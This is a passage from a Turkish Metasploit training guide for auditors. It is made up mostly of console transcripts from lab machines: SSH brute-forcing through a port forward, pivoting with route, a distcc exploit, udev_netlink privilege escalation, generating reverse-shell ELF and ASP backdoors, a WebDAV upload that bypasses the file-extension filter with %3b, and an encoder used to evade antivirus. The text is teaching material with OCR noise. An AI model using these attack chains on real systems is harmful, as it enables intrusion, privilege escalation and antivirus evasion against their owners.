tarafindan engellenen SSH servisi igin yonlendirme yapilmistir. Parola deneme amacli
yapilan bu ydnlendirme ile root kullanicisinin parolasi denetlenecektir. Meterpreter'da
portfwd komutu ile denetmen sisteminin 9000 TCP portunun hedef sistemin 22 nolu
portuna yonlendirilmesi saglanmigtir.

msf exploit(udev_netlink) > sessions

Active sessions

Id Type Information Connection
9 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000, suid=1000,
sgid=1000 @ metasploitable 172.16.100.1:5543 -> 172.16.100.3:54696 (172.16.100.3)

msf exploit(udev_netlink) > sessions -1 9
[*] Starting interaction with 9...

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:
-L <opt> The local host to listen on (optional).
-h Help banner.
-1 <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.
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meterpreter > background
[*] Backgrounding session 9...

meterpreter > portfwd add -1 9000 -p 22 -r 127.0.0.1
[*] Local TCP relay created: 0.0.0.0:9000 <-> 127.0.0.1:22

Meterpreter ile Port Yénlendirme Yapilmasi

Yapilan yonlendirmenin testi ve guvenlik denetimi icin ise ssh_login moduld kullaniimis,
denetmen sistemin 9000 nolu TCP portu hedef gdsterilmistir. Yapilan analiz neticesinde
root kullanicisinin parolasinin root oldugu gorulmus ve oturum elde edilmistir.

msf
msf auxiliary(ssh_login) > info
Name: SSH Login Check Scanner
Module: auxiliary/scanner/ssh/ss
Version: 15732
License:
Rank:
Provided by:
todb <todb@metasploit.com>
Basic options:
Name

Normal

BLANK_PASSWORDS false

BRUTEFORCE_SPEED 5

PASSWORD

PASS_FILE

RHOSTS 127.0.0.1
identifier

RPORT 9000

STOP_ON_SUCCESS  false
a host

THREADS 1

USERNAME root

USERPASS_FILE

separated by space, one pair per line

USER_AS_PASS true
users

USER_FILE

VERBOSE true
Description:

and hosts so you can track your acc
References:
http://cvedetails.com/cve/1999-0502

> use auxiliary/scanner/ssh/ssh_

login

h_login

Metasploit Framework License (BSD)

Current Setting Required Description

no
yes
no
no
yes

yes
yes

yes
no
no

no

no
yes

This module will test ssh logins on a range of machines and report
successful logins. If you have loaded a database plugin and
connected to a database this module will record successful logins

ess.

/

Try blank passwords for all users

How fast to bruteforce, from 0 to 5

A specific password to authenticate with
File containing passwords, one per line
The target address range or CIDR

The target port
Stop guessing when a credential works for

The number of concurrent threads
A specific username to authenticate as
File containing users and passwords

Try the username as the password for all

File containing usernames, one per line
Whether to print output for all attempts
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msf auxiliary(ssh_login) > set RHOSTS 127.0.0.1

RHOSTS => 127.0.0.1

msf auxiliary(ssh_login) > set BLANK_PASSWORDS false

BLANK_PASSWORDS => false

msf auxiliary(ssh_login) > USERNAME root

USERNAME => root

smsf auxiliary(ssh_login) > set RPORT 9000

RPORT => 9000

msf auxiliary(ssh_login) > run

[*] 127.0.0.1:9000 SSH - Starting bruteforce

[*] 127.0.0.1:9000 SSH - [1/1] - Trying: username: 'root' with password: 'root'

[*] Command shell session 13 opened (172.16.100.1:40934 -> 127.0.0.1:9000) at 2012-12-11
17:36:39 +0200

[+] 127.0.0.1:9000 SSH - [1/1] - Success: 'root':'root' 'uid=0(root) gid=0(root)
groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
1686 GNU/Linux '

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Meterpreter ile Yonlendirilen Porta SSH Kullanici/Parola Denetimi Yapilmasi

GamaSEC Bilgi Guvenligi Denetim ve Danigsmanlik Servisleri Sayfa 191




Metasploit Framework - Giris Seviyesi Denetmen Rehberi Ocak 2013

4.4.2 Meterpreter Uzerinden Ag Yonlendirme ile Saldiri Tiinelleme

Meterpreter'in tunelleme 6zelligi de port yonlendirme kadar iglevseldir ve birgok sisteme
es zamanh sizmak icin verimli sonuglar Uretmektedir. Sizilan bir hedef sisteme
Meterpreter yUklenmesi sonrasinda, diger sistemlere sizmak igin route komutu ile
eklenecek tuneller kullanilabilir. Eklenen yonlendirmeler Meterpreter'in kanallari arasinda
aktariimaktadir, bu nedenle yonlendirme yapilacak bir Meterpreter oturumunu bilinmeyen
bir sebeple gakilmasi veya sonlanmasi sozkonusu olabilir. Yonlendirmeler dncesinde,
yedekleme amaciyla hedef sistemden ikincil bir Meterpreter oturumu alinmasi
Onerilmektedir.

Ornekte hedef sistem lizerindeki erigilebilir olan 172.16.10.0/24 ag: igin génderilecek tiim
iletisimlerin, 14 numarali Meterpreter oturumu Uzerinden gonderilmesi istenmistir. route
komutu Metasploit Framework konsolunda girildiginde, tim Metasploit moduillerini etkiler
ancak denetmen isletim sisteminin diger bilesenleri bu 6zellikten faydalanamaz. Boyle
bir ihtiyagta port yonlendirme kullaniimali, denetmen sistemindeki bir porta erigsen
yazilimlara analiz imkani sunulmalidir.

msf auxiliary(ssh_login) > sessions
Active sessions

Id Type Information Connection

14 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ HACMEXPSP2 172.16.100.1:4444 ->
172.16.100.4:1069 (172.16.100.4)

msf auxiliary(ssh_login) > route -h
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local.

msf auxiliary(ssh_login) > route add 172.16.10.0 255.255.255.0 14
[*] Route added

msf auxiliary(ssh_login) > route print
Active Routing Table

Subnet Netmask Gateway

172.16.10.0 255.255.255.0 Session 14

Meterpreter Uzerinden AJ Yénlendirme Kaydi Girilmesi
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Girilen yonlendirme kaydi sonrasinda 172.16.10.0/24 aginda bir analiz gergeklestirilebilir.
Ornek analiz olarak agda bagka bir sistemin varligini saptamak adina smb_version
kullanilmis ve normal kosullarda baglanamayacagimiz 172.16.10.3 adresindeki Linux

sunucu saptanmistir.

msf auxiliary(udp_sweep) > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

msf auxiliary(smb_version) > RHOSTS 172.16.10.1-5
RHOSTS => 172.16.10.1-5

msf auxiliary(smb_version) > THREADS 10

THREADS => 10

msf auxiliary(smb_version) > run

[*] 172.16.10.3:445 is running Unix Samba 3.0.20-Debian (language: Unknown)
(domain:WORKGROUP)

[*] 172.16.10.4:445 is running Windows XP Service Pack 2 (language: Turkish)
(name :HACMEXPSP2) (domain:GAMASEC)

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as

THREADS 1 yes The number of concurrent threads

Meterpreter Uzerinden AJ Yénlendirmesi ile SMB Taramasi

Saptanan 172.16.10.3 IP adresindeki sisteme sizmak amaciyla distcc_exec exploit'
kullanilmis ve Payload olarak emd/unix/bind_perl tercih edilmigtir. route ile eklenen
aglarda yapilacak islemlerde ters baglanti tercih ediimemelidir, hedefin denetmen agina
dogrudan erisemeyecegi unutulmamalidir. Yapilmasi zorunlu ise Meterpreter portfwd ile
capraz yonlendirmeler kullanilabilir ancak kararli bir oturum olmayacagd! unutulmamalidir.

msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > info
Name: DistCC Daemon Command Execution
Module: exploit/unix/misc/distcc_exec
Version: 15473
Platform: Unix
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
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Provided by:
hdm <hdm@metasploit.com>

Available targets:
Id Name

0 Automatic Target

Basic options:
Name Current Setting Required Description
RHOST yes The target address
RPORT 3632 yes The target port

Payload information:
Space: 1024

Description:
This module uses a documented security weakness to execute arbitrary
commands on any system running distccd.

References:
http://cvedetails.com/cve/2004-2687/
http://www.osvdb.org/13378
http://distcc.samba.org/security.html

msf exploit(distcc_exec) > set RHOST 172.16.10.3
RHOST => 172.16.10.3

msf exploit(distcc_exec) > set PAYLOAD cmd/unix/bind_perl
PAYLOAD => cmd/unix/bind_perl

msf exploit(distcc_exec) > set LPORT 5111

LPORT => 5111

msf exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):
Name  Current Setting Required Description
RHOST 172.16.10.3 yes The target address
RPORT 3632 yes The target port

Payload options (cmd/unix/bind_perl):
Name Current Setting Required Description
LPORT 5111 yes The listen port
RHOST 172.16.10.3 no The target address

Exploit target:
Id Name

0 Automatic Target
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msf exploit(distcc_exec) > exploit

[*] Started bind handler

[*] Command shell session 15 opened (Local Pipe -> Remote Pipe) at 2012-12-11 18:22:57
+0200

whoami

daemon

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux

Background session 15? [y/N] vy
msf exploit(distcc_exec) > sessions

Active sessions

Id Type Information Connection

14 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ HACMEXPSP2 172.16.100.1:4444 ->

172.16.100.4:1069 (172.16.100.4)
15 shell unix Local Pipe -> Remote Pipe

(172.16.10.3)

Meterpreter Uzerinden AJ Yénlendirmesi ile Exploit isleml
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4.5 Yerel Exploit Kullanimi ile Yetki Yukseltme

Metasploit Framework sadece uzak bir sisteme yonelik exploitler degil, sistem igi
kullanilacak ve yetki yukseltecek exploit'ler de icermektedir. Hedef olan Windows igletim
sistemi icin Meterpreter Uzerinden getsystem ile yetki yukseltmek mimkuin oldugu gibi
yerel exploit'ler de kullanilabilir. Hedef olan Linux isletim sisteminde ise Meterpreter
Uzerinde getsystem fonksiyonu yoktur ve yerel exploit'ler kullanilarak belirtilen yetki
yukseltme islemi yapilabilir.

Ele gecirilmig bir Linux igletim sisteminde varolan oturumun yetkisini yukseltmek igin
exploit/linux/local/sock_sendpage ve exploit/linux/local/ludev_netlink modulleri
kullanilabilir. Ornegimizde ele gegcirilmis olan bir Linux isletim sistemi kabuk erisimi
bulunmaktadir ve yerel bir exploit kullanimi ile root haklariyla Meterpreter yliklenmesi
saglanacaktir.

msf > sessions

Active sessions

Id Type Information  Connection

11 shell linux 172.16.100.1:5421 -> 172.16.100.3:54316 (172.16.100.3)

msf exploit(udev_netlink) > use exploit/linux/local/udev_netlink
msf exploit(udev_netlink) > info

Name: Linux udev Netlink Local Privilege Escalation
Module: exploit/linux/local/udev_netlink
Version: 0
Platform: Linux
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great

Provided by:
kcope
Jon Oberheide
egypt <egypt@metasploit.com>

Available targets:

Id Name
0 Linux x86
1 Linux x64
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Basic options:

Name Current Setting Required Description

NetlinkPID no Usually udevd pid-1. Meterpreter sessions
will autodetect

SESSION yes The session to run this module on.

WritableDir /tmp yes A directory where we can write files (must not

be mounted noexec)
Payload information:

Description:
Versions of udev < 1.4.1 do not verify that netlink messages are
coming from the kernel. This allows local users to gain privileges
by sending netlink messages from userland.

References:
http://cvedetails.com/cve/2009-1185/
http://www.osvdb.org/53810
http://www.securityfocus.com/bid/34536

Kullaniimasi planlanan yerel Exploit udev_netlink ve kullanilacak oturum ise 11
numarall oturumdur. Yerel Exploit'ler varolan oturumun yetkisini yukseltmek seklinde
degil, bir bagka Meterpreter veya Payload ylUklenmesi ic¢in kullanildiklarinda daha
basarili olurlar. Varolan oturumun yetkisinin yukseltimeye ¢aligilmasi oturumun
kaybedilmesi ile sonugclanabilir. Ornekte linux/x86/meterpreter/bind_tcp Payload'u
kullaniimig ve baglanti segenekleri tanimlandiktan sonra ilgili oturum igin ¢alistiriimigtir.
Sonu¢ asamasinda gorilecegi Uzere, root kullanicisi haklariyla baglanmis bir
Meterpreter oturumu elde edilmigtir.

msf exploit(udev_netlink) > PAYLOAD linux/x86/meterpreter/bind_tcp
PAYLOAD => 1linux/x86/meterpreter/bind_tcp

msf exploit(udev_netlink) > set SESSION 11
SESSION => 11

msf exploit(udev_netlink) > set RHOST 172.16.100.3
RHOST => 172.16.100.3

msf exploit(udev_netlink) > LPORT 8976
LPORT => 8976

msf exploit(udev_netlink) > show options
Module options (exploit/linux/local/udev_netlink):
Name Current Setting Required Description
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N
will

S

W
not

Payl

N

D
L
P
code
R

Expl
I

0

msf

*]
*]
*]
+]
*]
*]
*]
*]
*]
*]
1

012-

mete

[*]

msf
Acti

etlinkPID no Usually udevd pid-1. Meterpreter sessions
autodetect
ESSION 11 yes The session to run this module on.
ritableDir /tmp yes A directory where we can write files (must
be mounted noexec)
oad options (linux/x86/meterpreter/bind_tcp):
ame Current Setting Required Description
ebugOptions 0 no Debugging options for POSIX meterpreter
PORT 8976 yes The listen port
rependFork no Add a fork() / exit_group() (for parent)
HOST 172.16.100.3 no The target address
oit target:
d Name

Linux x86

exploit(udev_netlink) > exploit

Started bind handler

Attempting to autodetect netlink pid...

Shell session, trying sh script to find netlink pid

Found netlink pid: 2297

Writing payload executable (163 bytes) to /tmp/fMqyCNbndU

Writing exploit executable (2471 bytes) to /tmp/RcIyzVEEps
chmod'ing and running 1it...

Transmitting intermediate stager for over-sized stage...(100 bytes)
Sending stage (1126400 bytes) to 172.16.100.3

Meterpreter session 12 opened (172.16.100.1:37259 -> 172.16.100.3:8976) at
12-11 16:57:35 +0200

rpreter > background
Backgrounding session 12...

exploit(udev_netlink) > sessions
ve sessions

Id

11
12
meta

Type Information  Connection

shell linux 172.16.100.1:5421 -> 172.16.100.3:54316 (172.16.100.3)
meterpreter x86/1linux uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0 @

sploitable 172.16.100.1:37259 -> 172.16.100.3:8976 (172.16.100.3)
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msf exploit(udev_netlink) > sessions -i 12
[*] Starting interaction with 12...
meterpreter > sysinfo

Computer : metasploitable
0S : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
(1686)

Architecture : 1686
Meterpreter : x86/linux

Linux isletim Sisteminde Yerel Exploit ile Root Haklariyla Meterpreter Yiklenmesi
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4.6 ileri Diizey Payload islemleri

4.6.1 Kendi Calisan Payload Hazirlanmasi

Payload'lar sadece Exploit'ler ile kullaniimamaktadir; 6zel hazirlanmis kodlara
eklenebilmekte, bir calistirilabilir uygulamaya eklenebilmekte veya tek basina
calisabilecek bicimde tasarlanabilmektedir. Metasploit Framework'ten bagimsiz bir
Exploit hazirlamak, kismi erisim saglanan bir sisteme tam erigsim saglamak, erigimin
yetkisini yukseltmek, kabuk erigsimini Meterpreter'a veya VNC'ye doénustirmek, dosya
yuklemekten kaynaklanan bir acgigi kullanmak gibi ¢cok sayida amagla calistirilabilir
Payload'lar Uretilebilmektedir.

Calistirilabilir  bir Payload, msfpayload veya dogrudan msfconsole icinden
hazirlanabilmektedir. Msfconsole icinden kullanim esnasinda uygun Payload segilir,
gerekli baglanti secenekleri tanimlanir ve uretilecek uygulama tipi segilir. Baglant
secenekleri konusu dikkatlice planlanmalidir; ters baglantilarda hedefin erigimi
saglayamamasi veya hedefte bir portun dinlenmesi esnasinda o porta erisemeyecek
duruma olmak, tum Payload uretim iglemini anlamsiz hale getirir. Kendi c¢alisabilir bir
Payload i¢in ¢ok sayida uygulama turt vardir; bir Payload Windows platformu igin EXE,
Linux/Unix platformu icin SH olarak hazirlanabildigi gibi ASP, PHP, Java, Ruby, Perl, EIf
dosya tiplerinde de hazirlanabilir. Amaca uygun tipin segilmesi ve hedefte galistirabilir bir
yontemin bulunuyor olmasi temel kosullardandir.

Kendi ¢alisan Payload'lara baglanti icin handler isimli 6zel bir Exploit modulu kullanilir.
Tum Payload'lar ile uyumlu bu modul araciligiyla, iletigsim kurulacak Payload'un turu ve
baglanti segenekleri tanimlanarak oturum olusturulmaktadir. Ornegimizde Payload
olarak linux/x86/meterpreter/reverse_tcp secilmistir ve baglanti secenekleri
tanimlanmigtir. Bir diger hassas nokta ise handler'in ¢alismasinin arka plana atiimasi
gerekliligidir; hedefin baglanti saglamak istedigi sure icinde handler'' hazirlamak yerine
hazir tutmak daha iyi bir fikirdir.

msf >use exploit/multi/handler
msf exploit(handler) > info
Name: Generic Payload Handler
Module: exploit/multi/handler
Version: 15518
Platform: Windows, Linux, Solaris, Unix, O0SX, BSD, PHP, Java
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
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Provided by:
hdm <hdm@metasploit.com>
Available targets:
Id Name
0 Wildcard Target
Payload information:
Space: 10000000
Avoid: 0 characters
Description:
This module is a stub that provides all of the features of the
Metasploit payload system to exploits that have been launched
outside of the framework.
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST 172.16.100.1 yes The listen address
LPORT 4444 yes The listen port
PrependFork no Add a fork() / exit_group() (for parent)
code
Exploit target:
Id Name
0 Wildcard Target
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 172.16.100.1:4444
[*] Starting the payload handler...

Kendi Calisan Linux Meterpreter Payload'u i¢cin Handler'in Hazirlanmasi

GamaSEC Bilgi Guvenligi Denetim ve Danigsmanlik Servisleri

Sayfa 201




Metasploit Framework - Giris Seviyesi Denetmen Rehberi Ocak 2013

Dogru handler yapilandirmasi ve calistirlmasi sonrasinda Payload Uretimine
gegirilebilir. Ornekte Linux isletim sistemi galistiran bir sunucu igin ELF binary'si olarak
hazirlanan bir Payload ve hedefte calistiinda olusan stre¢ gosterilmistir. Hedefe
gbénderim ydntemi ve aktarim miktari da uretilecek Payload tipini etkilemektedir. Ornekte
uretilen Payload ciktisi SH olarak istendiginde 4908850 byte c¢ikti Uretilirken ELF
binary'si istendiginde 155 byte cikti Uretilmektedir. Aradaki fark ELF binary'si Uretiminde
sadece Stager olarak bilinen ilklendirme boluma Uretilmis olmasidir, baglanti
asamasinda gerekli Payload bilesenleri yiiklenecektir. Ornekte ELF binary'si kullanimi
tercih edilecektir.

msf exploit(handler) > use payload/linux/x86/meterpreter/reverse_tcp
msf payload(reverse_tcp) > info
Name: Linux Meterpreter, Reverse TCP Stager
Module: payload/linux/x86/meterpreter/reverse_tcp
Version: 15919, 14976
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 178
Rank: Normal

Provided by:
PKS
egypt <egypt@metasploit.com>
skape <mmiller@hick.org>

Basic options:

Name Current Setting Required Description

DebugOptions 0 no Debugging options for POSIX meterpreter

LHOST 172.16.100.1 yes The listen address

LPORT 4444 yes The listen port

PrependFork no Add a fork() / exit_group() (for parent) code
Description:

Connect back to the attacker, Staged meterpreter server

msf payload(reverse_tcp) > LHOST 172.16.100.1
LHOST => 172.16.100.1

msf payload(reverse_tcp) > generate -h
Usage: generate [options]

Generates a payload.
OPTIONS:
-E Force encoding.
-b <opt> The 1list of characters to avoid: '\x00\xff'
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-e <opt> The name of the encoder module to use.
-f <opt> The output file name (otherwise stdout)

-h Help banner.
-1 <opt> the number of encoding iterations.
-k Keep the template executable functional

-0 <opt> A comma separated list of options in VAR=VAL format.

-p <opt> The Platform for output.

-s <opt> NOP sled length.

-t <opt> The output format:
raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,v
bs,loop-vbs,asp,aspx,war,psh,psh-net

-x <opt> The executable template to use

msf payload(reverse_tcp) > generate -t sh -f /tmp/ex.sh
[*] Writing 4908850 bytes to /tmp/ex.sh...

msf payload(reverse_tcp) > generate -t elf -f /tmp/ex
[*] Writing 155 bytes to /tmp/ex...

Linux icin Kendi Caligsan ELF Tipinde Payload Hazirlanmasi

Hazirlanan Payload'un hedefe génderimi igin telnet oturumu, e-posta génderimi veya bir
baska aciktan faydalanilabilir. Hedefe farkli bir yontem ile gonderilen /tmplex
uygulamasinin galistirilmasi sonrasinda ise asagidaki gibi bir goéruntu olugsmakta ve
istenen Meterpreter oturumu alinmaktadir. Telnet oturumuna ragmen boyle bir
Meterpreter oturumu istenmesinin sebepleri arasinda ise yetki yukseltme istegi,
Meterpreter'in avantajlarindan faydalanma veya coklu oturum sayilabilir. Ayrica Linux
Meterpreter modulu henuz bir Exploit'e entegre dedildir, Linux agiklarinin kullanimi
sonucu bir kabuk veya telnet oturumu elde edilmesi sonucunda da bu adima atlanabilir.

msf payload(reverse_tcp) >

[*] Transmitting intermediate stager for over-sized stage...(100 bytes)

[*] Sending stage (1126400 bytes) to 172.16.100.3

[*] Meterpreter session 6 opened (172.16.100.1:4444 -> 172.16.100.3:35761) at 2012-11-29
21:24:24 +0200

msf payload(reverse_tcp) > sesions

Active sessions

Id Type Information
Connection

6 meterpreter x86/1linux uid=1000, gid=1000, euid=1000, egid=1000, suid=1000,
sgid=1000 @ metasploitable 172.16.100.1:4444 -> 172.16.100.3:35761 (172.16.100.3)

Linux igin Kendi Calisan ELF Tipinde Payload ile Meterpreter Oturumu Olugmasi
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Bir diger kendi ¢calisan Payload kullanim amaci ise web uygulamasi veya web sunucusu
guvenlik aciklari olabilmektedir. Bir PHP uygulamasina uzaktan dosya igletme acigi,
WebDAV yazilabilir dizinine dosya yukleme veya bir uygulamada dizin disina ¢ikabilme
acigi ile siklikla karsilagsilmaktadir. Bu durumda hedefe Payload aktarimi sonrasinda bir
calistirma yontemi bulmak yeterli olabilmektedir.

Siradaki 6rnek bir web sunucusundaki WebDAV servisi glvenlik aciginin kullanimini
icermektedir. Hedef sistemde Microsoft 1IS Web sunucusu c¢alistigi, WebDAV servisinin
etkin oldugu ve yazilabilir bir dizin bulundugu saptanmistir. Bu durumda hedefe bir dosya
gonderimi mimkudnduar, web sunucusunun ASP destegi dikkate alindiginda galistirma igin
de bir yontemin oldugu farkedilecektir. Agigin kullanimi i¢in Meterpreter ile ters baglant
iceren bir Payload'u ASP tipinde hazirlayabilir ve hedefe gdénderebiliriz. Web
sunucusundan ilgili dosyayl cagirdigimizda ASP dosyasi iglenecek ve Payload
komutlarimiz gahligtigi igin oturumumuz saglanacaktir.

Oncelikle handler modiili segilecek ve Meterpreter igin ters oturum secgenegdi saglayan
Payload tanimlanarak caligtirilacaktir. Hedefin denetmen sistemine baglanabilmesi igin
IP adresi LHOST degiskenine, portu ise LPORT degiskenine atanacaktir.

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 172.16.100.1 yes The 1listen address
LPORT 4444 yes The listen port

Exploit target:
Id Name

0 Wildcard Target

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 172.16.100.1:4444
[*] Starting the payload handler...

Kendi Calisan Windows Meterpreter Payload'u i¢in Handler'in Hazirlanmasi
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Payload Uretimi esnasinda da ayni baglanti secenekleri ve Meterpreter't secilmektedir.
Payload'un Uretimi agsamasinda ise tur olarak ASP uygulamasi secilmistir, boylece hedef

sistemde Web sunucusundan ¢agrildiginda dogrudan calisabilecektir.

msf exploit(handler) > use payload/windows/meterpreter/reverse_tcp
msf payload(reverse_tcp) > info
Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Version: 14774, 15548, 14976
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal

Provided by:
skape <mmiller@hick.org>
sf <stephen_fewer@harmonysecurity.com>
hdm <hdm@metasploit.com>

Basic options:

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST yes The listen address

LPORT 4444 yes The listen port

Description:

Connect back to the attacker, Inject the meterpreter server DLL via
the Reflective D11 Injection payload (staged)

msf payload(reverse_tcp) > set LHOST 172.16.100.1
LHOST => 172.16.100.1

msf payload(reverse_tcp) > generate -h

Usage: generate [options]

Generates a payload.
OPTIONS:
-E Force encoding.
-b <opt> The list of characters to avoid: '\x00\xff'
-e <opt> The name of the encoder module to use.
-f <opt> The output file name (otherwise stdout)

-h Help banner.
-1 <opt> the number of encoding iterations.
-k Keep the template executable functional

-0 <opt> A comma separated list of options in VAR=VAL format.
-p <opt> The Platform for output.

-s <opt> NOP sled length.

-t <opt> The output format:
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raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,v
bs,loop-vbs,asp,aspx,war,psh,psh-net
-x <opt> The executable template to use

msf payload(reverse_tcp) > generate -t asp -f /tmp/backdoor.asp
[*] Writing 613849 bytes to /tmp/backdoor.asp...

Windows icin Kendi Calisan ASP Tipinde Payload Hazirlanmasi

Uretilen backdoor.asp uygulamasi ile istemis oldugumuz Payload'u iceren 613849 byte
veri hazirlanmis durumdadir. Siradaki asamamiz dosyanin hedef sisteme
gonderilmesidir ve bu amagla Microsoft IS web sunucusundaki WebDAV servisinin bir
acigindan faydalanilacaktir. Guvenlik agiginin 3 sebebi bulunmaktadir; birincisi
Microsoft 1IS web sunucusunda WebDAV servisi etkindir, ikincisi WebDAV servisinin
calistigr kullanicinin yazabilir haklara sahip oldugu bir dizin vardir, Gg¢lncusu ise bu
dizine gonderilen dosya tipindeki uzanti engeli %3b karakteri ile asilabilmektedir.
Gonderilecek  dosya  backdoor.asp yerine  backdoor.asp%3b.jpg ismiyle
gonderildiginde sunucuya aktarimi basariyla gerceklesmektedir. Microsoft IS Uzerindeki
baglanti ile ¢gagrildiginda ise %3b ifadesi ; anlamina geldigi i¢in satiri sonlandirmakta ve
uzanti olarak asp ciddiye alinmaktadir. WebDAV servisine dosya gonderimi icin Cadaver
WebDAV istemcisi kullanilabilir.

# cadaver 172.16.100.2

dav:/> put /tmp/backdoor.asp backdoor2.asp%3b.jpg

Uploading /tmp/backdoor.asp to °/backdoor2.asp%253b.jpg"':

Progress: [ >] 100,0% of 613849 bytes succeeded.

dav:/> 1s

Listing collection '/': succeeded.

Coll: _vti_bin 0 Kas 5 15:08

Coll:  _vti_script 0 Kas 5 15:08

Coll: aspnet_client 0 Kas 5 15:09

Coll: 1images 0 Kas 5 15:08
_vti_inf.html 1754 Kas 5 15:08
backdoor.asp%3b. jpg 613849 Kas 29 21:42
iisstart.htm 1433 Sub 21 2003
pagerror.gif 2806 Sub 21 2003
postinfo.html 2445 Kas 5 15:08

Cadaver ile WebDAV Servisine Dosya Aktarimi
Son asama olarak ise http://172.16.100.2/backdoor.asp;.jpg adresi ziyaret edilerek

Meterpreter oturumu alinmaktadir.

msf payload(reverse_tcp) >

[*] Sending stage (752128 bytes) to 172.16.100.2

[*] Meterpreter session 7 opened (172.16.100.1:4444 -> 172.16.100.2:1638) at 2012-11-29
22:12:25 +0200

Cagrilan Baglanti Sonrasinda Elde Edilen Oturumun Ekran Goéruntusu
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4.6.2 Payload'larin Dénustlrulmesi ve Kodlanmasi

Payload'larin belirli kosullarda farkl tirde igerige dondurtlmesi gerekebilmektedir; igletim
sistemi mimarisine, calistirilacak platformdaki gtivenlik 6nlemlerine, exploit'in tipine ve
kullanillacak kabuk koduna bagh olarak kodlayici (Encoder) kullanimi sdzkonusudur.
Ornegin kabuk kodunun iginde kullaniimamasi gereken ve exploitin caligtirma
esnasinda hata Uretmesine neden olan karakterler (6rn. \x00) kodlayicilar kullanilarak
giderilebilir. Payload Uretirken veya exploit ¢alistirirken gerekli olan kodlayici segilebilir,
ilgili kodlayici ile bahsi gegen sorunlardan buyuk olgtude kurtulmak mumkun olur.

Asagidaki ornekte glncel Avast Anti-Virus yazilimi bir Windows XP SP2 yukla bir
sisteme ms08_067_netapi exploit'i kullanilarak sizilmaya c¢alisilacaktir. Kullanilacak
kodlayicinin secimi c¢alistirma asamasinda belirlenebilmektedir. Varolan kodlayicilarin
gorllebilmesi icin show encoders komutu verilmeli; tercih edilecek kodlayici ise
ENCODER degiskeni veya exploit -e ile tanimlanmahdir. Ornek kodlayici igin
“‘Jump/Call XOR Additive Feedback Encoder” secilmistir ve Avast Anti-Virus yazilimi
bir hata Uretmemis, oturum basarili bir sekilde elde edilmistir. Her kodlayicinin her tar
exploit ile galisacagi varsayllmamali, igslemci mimarisi ve igletim sistemi gereklilikleri
dikkate alinmalidir.

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description

RHOST 172.16.100.4 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 172.16.100.1 yes The 1listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Automatic Targeting
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msf exploit(ms08_067_netapi) > show encoders

Compatible Encoders

Name Disclosure Date

cmd/generic_sh
Substitution Command Encoder
cmd/ifs
Command Encoder
cmd/printf_php_mq
magic_quotes Utility Command Encoder
generic/none
mipsbe/longxor
mipsle/longxor
php/base64
ppc/longxor
ppc/longxor_tag
sparc/longxor_tag
x64/xor
x86/alpha_mixed
Mixedcase Encoder
x86/alpha_upper
Uppercase Encoder
x86/avoid_underscore_tolower
x86/avoid_utf8_tolower
x86/call4_dword_xor
x86/context_cpuid
Payload Encoder
x86/context_stat
Payload Encoder
x86/context_time
Payload Encoder
x86/countdown
Encoder
x86/fnstenv_mov
Dword XOR Encoder
x86/jmp_call_additive
Feedback Encoder
x86/nonalpha
x86/nonupper
x86/shikata_ga_nati
Feedback Encoder
x86/single_static_bit
x86/unicode_mixed
Mixedcase Encoder
x86/unicode_upper
Uppercase Encoder

manual

normal
normal
normal
great
normal
normal
normal
normal
low

low

manual
manual
normal
manual
manual
manual
normal
normal
normal
low

Tow

excellent

manual
manual

manual

Generic Shell Variable
Generic ${IFS} Substitution
printf(1) via PHP

The
XOR

XOR
